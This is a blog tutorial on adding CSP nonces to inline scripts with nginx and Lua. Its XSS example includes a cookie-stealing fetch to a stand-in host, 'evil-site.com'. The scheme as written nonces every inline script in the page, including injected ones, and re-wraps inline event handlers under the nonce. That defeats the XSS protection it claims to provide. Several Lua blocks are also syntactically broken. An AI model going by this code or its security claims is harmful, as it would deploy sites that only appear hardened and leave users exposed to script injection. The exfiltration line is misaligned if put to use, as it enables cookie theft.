Elegant Solution to Eliminate unsafe-inline in CSP using NGINX and Lua

Content Security Policy unsafe inline fix

Introduction

If you’ve ever opened your browser console on your “totally secure” website and witnessed a barrage of Content-Security-Policy warnings, welcome to the club. And if your CSP contains the infamous unsafe-inline directive – we might just share a drink at the next security conference. Just make sure to hide that drink from the actual security experts.

Let’s be honest though: not every website needs to obsess over eliminating unsafe-inline. If you’re running a simple blog or a five-page brochure site with zero user data and no admin panels, you probably have bigger fish to fry. The security purists might disagree (they always do), but pragmatism has its place in web development.

However, if any of these apply to your situation, you should absolutely care:

  • You’re handling sensitive user data (financial, medical, personal)
  • Your site includes authentication systems
  • You’re running an e-commerce platform
  • You’re subject to compliance requirements (PCI DSS, HIPAA, etc.)
  • Your site is high-profile enough to be a target

The unsafe-inline directive is essentially telling browsers: “Hey, execute whatever inline JavaScript you find on this page, no questions asked.” In a world where XSS remains one of the most common web vulnerabilities, that’s like leaving your front door open with a sign saying “Valuables inside, security system disabled.”

Many developers resort to unsafe-inline because the alternatives seem complex or performance-heavy. There are several approaches to eliminating it:

  • Server-side solutions with languages like PHP/Node.js to generate nonces
  • Using Nginx’s sub_filter for string replacement
  • CDN or WAF-based solutions
  • The Lua-based approach we’ll explore in this article

In this article, we’ll dive deep into implementing a high-performance, precise solution using nginx with Lua that elegantly solves the unsafe-inline problem once and for all. We’ll build a system that automatically adds nonces only to inline scripts, properly configures CSP headers, and does it all with minimal overhead.

Let’s get our hands dirty with some real engineering, shall we?

Understanding the Problem and Existing Solutions

The Security Risks of unsafe-inline

When you include unsafe-inline in your Content-Security-Policy, you completely undermine CSP’s ability to mitigate XSS attacks. Consider this attack scenario:

<!-- User input gets reflected without proper sanitization -->
<div class="user-comment">
Thanks for the article!
<script>
fetch('https://evil-site.com/steal-cookies?c=' + document.cookie);
</script>
</div>

With unsafe-inline, this malicious script runs without restrictions. With nonces instead, the browser blocks it instantly.

Common Approaches and Their Limitations

1. Server-Side Application Integration

Advantages:

  • Precise control over which scripts get nonces
  • Integration with application logic

Limitations:

  • Requires modifying application code
  • Doesn’t work for static assets without additional processing
  • Tightly couples security implementation with application code

2. Nginx’s sub_filter Approach

Advantages:

  • Web server level implementation
  • No application code changes

Limitations:

  • Modifies ALL script tags, including those with src attributes
  • Can’t understand HTML structure
  • Limited pattern matching
  • Potential to break markup with complex HTML

3. CDN and WAF Solutions

Advantages:

  • Easy to implement
  • Managed solution

Limitations:

  • Added latency
  • Limited customization
  • Expensive
  • Potential caching issues

4. Why Lua with Nginx Stands Out

The Lua + Nginx approach combines the best of all worlds:

  • Precision: Can parse HTML properly and only modify inline scripts
  • Performance: Executes directly within nginx with minimal overhead
  • Flexibility: Fully customizable to your specific requirements
  • Independence: Doesn’t require application code changes
  • Scalability: Works with static and dynamic content

Criteria for an Optimal CSP Solution

A good CSP implementation should:

  • Add minimal latency to HTTP responses (< 1ms overhead)
  • Process content in a streaming fashion without buffering entire responses
  • Modify only inline scripts (not external scripts)
  • Handle all valid HTML syntax variations
  • Support various script contexts (standard tags, event handlers, javascript: URIs)
  • Work with minified, compressed HTML and single-page applications
  • Be easy to implement and maintain

Architecture of the Nginx + Lua Solution

Components Overview

  1. Nginx: Web server handling HTTP requests/responses
  2. Lua Module: For content manipulation
  3. HTML Processing Logic: To parse and modify HTML
  4. Nonce Generation: Creates secure random values
  5. CSP Header Management: Inserts appropriate headers

Request Flow

Architecture of the Nginx + Lua Solution

Key Integration Points

Our solution integrates with nginx at three points:

  1. Init Phase: Initialize Lua modules and libraries
  2. Header Filter Phase: Generate nonce and set CSP header
  3. Body Filter Phase: Process HTML and add nonces to inline scripts

Technical Requirements

  • Nginx with Lua support (OpenResty recommended)
  • LuaJIT for performance
  • Core Lua libraries: resty.string and resty.random

Implementing the Base Solution

Step 1: Setting Up Your Environment

Install OpenResty following the official instructions.

Step 2: Create the Lua Script for Nonce Management

Create a file named csp_nonce.lua:

local random = require "resty.random"
local str = require "resty.string"

local _M = {}

-- Generate a cryptographically secure random nonce
function _M.generate_nonce()
-- Generate 16 bytes of random data
local nonce_bytes = random.bytes(16)
if not nonce_bytes then
ngx.log(ngx.ERR, "Failed to generate random bytes for nonce")
return nil
end

-- Convert to base64
return ngx.encode_base64(nonce_bytes)
end

-- Regex pattern to identify inline scripts (doesn't have src attribute)
_M.inline_script_pattern = [[<script(?![^>]*src=)([^>]*)>]]

-- Function to add nonce to inline scripts
function _M.add_nonce_to_inline_scripts(body, nonce)
if not body or not nonce then
return body
end

-- Replace inline script tags with nonced versions
local result = ngx.re.gsub(body, _M.inline_script_pattern, "<script\\1 nonce=\"" .. nonce .. "\">", "joi")

return result
end

return _M

Step 3: Configure Nginx

Add to your nginx configuration:

# Load Lua modules
lua_package_path "/etc/nginx/lua/?.lua;;";

# Initialize shared dictionary for temporary storage
lua_shared_dict csp_nonces 10m;

server {
listen 80;
server_name your-domain.com;

location / {
root /var/www/html;

# Set up Lua for this location
header_filter_by_lua_block {
local csp = require "csp_nonce"

-- Generate a unique nonce for this request
local nonce = csp.generate_nonce()
if not nonce then
ngx.log(ngx.ERR, "Failed to generate nonce")
return
end

-- Store nonce in nginx context for body filter phase
ngx.ctx.csp_nonce = nonce

-- Set appropriate CSP header
local header_value = "default-src 'self'; script-src 'self' 'nonce-" .. nonce .. "'; style-src 'self' 'unsafe-inline'"
ngx.header["Content-Security-Policy"] = header_value
}

body_filter_by_lua_block {
local csp = require "csp_nonce"
local nonce = ngx.ctx.csp_nonce

if not nonce then
ngx.log(ngx.ERR, "No nonce found in context")
return
end

-- Process each chunk of the response body
local chunk = ngx.arg[1]
if chunk and chunk ~= "" then
-- Add nonce to inline scripts
ngx.arg[1] = csp.add_nonce_to_inline_scripts(chunk, nonce)
end
}
}
}

Step 4: Testing and Validation

Create a test HTML file with inline scripts and verify that:

  • CSP header is present
  • Only inline scripts have nonces
  • External scripts remain unchanged

Common Issues and Solutions

ProblemSolution
All content types processedCheck for HTML content type
Regex fails across chunksBuffer content before processing
Performance concernsAdd metrics to track overhead

Advanced Implementation Techniques

Handling Event Handlers and JavaScript URIs

Extend the Lua module:

-- Additional patterns
_M.event_handler_pattern = [[(\s)(on\w+)(\s*=\s*["'])(.*?)(["'])]]
_M.javascript_uri_pattern = [[(href\s*=\s*["'])(javascript:)(.*?)(["'])]]

-- Enhanced function to handle all inline JavaScript
function _M.secure_all_inline_js(body, nonce)
-- First, handle standard inline scripts
local result = ngx.re.gsub(body, _M.inline_script_pattern,
"<script\\1 nonce=\"" .. nonce .. "\">", "joi")

-- Track replaced handlers for later insertion
local handlers = {}
local handler_id = 0

-- Find and replace event handlers with unique IDs
result = ngx.re.gsub(result, _M.event_handler_pattern, function(m)
handler_id = handler_id + 1
local id = "data-handler-" .. handler_id
table.insert(handlers, {
id = id,
event = m[2],
code = m[4]
})
return m[1] .. m[2] .. m[3] .. "HANDLER:" .. id .. m[5]
end, "joi")

-- Add nonced script for handlers if needed
if #handlers > 0 then
local script = "<script nonce=\"" .. nonce .. "\">\n"
script = script .. "document.addEventListener('DOMContentLoaded', function() {\n"

for _, handler in ipairs(handlers) do
script = script .. " document.querySelectorAll('[" .. handler.event
.. "=\"HANDLER:" .. handler.id .. "\"]').forEach(function(el) {\n"
script = script .. " el.addEventListener('" .. handler.event:sub(3)
.. "', function(event) {\n"
script = script .. " " .. handler.code .. "\n"
script = script .. " });\n"
script = script .. " el.removeAttribute('" .. handler.event .. "');\n"
script = script .. " });\n"
end

script = script .. "});\n</script>"

-- Append to the end of the body
result = ngx.re.sub(result, "</body>", script .. "</body>", "joi")
}

return result
end

Performance Optimizations

1. Only process HTML responses:

local content_type = ngx.header["Content-Type"]
if not content_type or not ngx.re.match(content_type, [=[text/html]=], "joi") then
    return
end

2. Cache compiled regular expressions:

_M.regex_cache = {}

function _M.get_cached_regex(pattern)
    if not _M.regex_cache[pattern] then
        local compiled, err = ngx.re.compile(pattern, "joi")
        if not compiled then
            ngx.log(ngx.ERR, "Failed to compile regex: ", err)
            return nil
        }
        _M.regex_cache[pattern] = compiled
    }
    return _M.regex_cache[pattern]
}

3. Use shared memory for nonce storage:

-- In header_filter phase
local nonce = csp.generate_nonce()
local nonce_key = ngx.var.request_id or ngx.time() .. "-" .. math.random(1000)
local nonces = ngx.shared.csp_nonces
nonces:set(nonce_key, nonce, 60)  -- Expire after 60 seconds
ngx.ctx.nonce_key = nonce_key

-- In body_filter phase
local nonce_key = ngx.ctx.nonce_key
local nonce = ngx.shared.csp_nonces:get(nonce_key)

Handling Dynamic Content (SPA, AJAX)

Expose the nonce to JavaScript:

-- In header_filter phase
ngx.header["X-CSP-Nonce"] = nonce

-- In your initial nonced script
<script nonce="...">
  // Store the nonce for later use
  window.CSP_NONCE = document.querySelector('script[nonce]').nonce;
  
  // Override createElement to add nonces automatically
  const originalCreateElement = document.createElement;
  document.createElement = function(tagName) {
    const element = originalCreateElement.call(document, tagName);
    if (tagName.toLowerCase() === 'script' && window.CSP_NONCE) {
      element.setAttribute('nonce', window.CSP_NONCE);
    }
    return element;
  };
</script>

Monitoring CSP Violations

-- In header_filter_by_lua_block
local report_uri = "/csp-report"
local header_value = "default-src 'self'; script-src 'self' 'nonce-" .. nonce 
                    .. "'; report-uri " .. report_uri .. "; report-to csp-endpoint"

-- Set up reporting endpoint
location /csp-report {
    access_log /var/log/nginx/csp_violations.log;
    
    content_by_lua_block {
        ngx.req.read_body()
        local body = ngx.req.get_body_data()
        
        if body then
            ngx.log(ngx.NOTICE, "CSP Violation: ", body)
        }
        
        ngx.status = 204
        return ngx.exit(ngx.HTTP_NO_CONTENT)
    }
}

Testing and Validating

Automated Testing

#!/bin/bash
URL="https://your-domain.com/test-page.html"
response=$(curl -s -i $URL)

# Check for CSP header
if echo "$response" | grep -i "Content-Security-Policy:"; then
    echo "✅ CSP header found"
else
    echo "❌ No CSP header found"
fi

# Check if nonces are being added to inline scripts
if echo "$response" | grep -i "<script.*nonce="; then
    echo "✅ Nonced scripts found"
else
    echo "❌ No nonced scripts found"
fi

Browser and Tool-Based Validation

Real-World Testing Scenarios

  • Complex SPAs
  • Third-party integrations
  • User-generated content
  • High traffic scenarios
  • Mobile browsers

Conclusion

Eliminating unsafe-inline from your Content-Security-Policy using the nginx + Lua solution offers several advantages:

  • Complete control over your security policy
  • No need to modify application code
  • Precise targeting of inline scripts only
  • Minimal performance impact
  • Works with any web platform

This approach will help you strengthen your site’s security posture without compromising on performance or developer productivity. Whether you’re running a WordPress site, a modern SPA, or a custom web application, this solution provides a robust foundation for implementing proper CSP.

Rate article
WebCorePro
Add a comment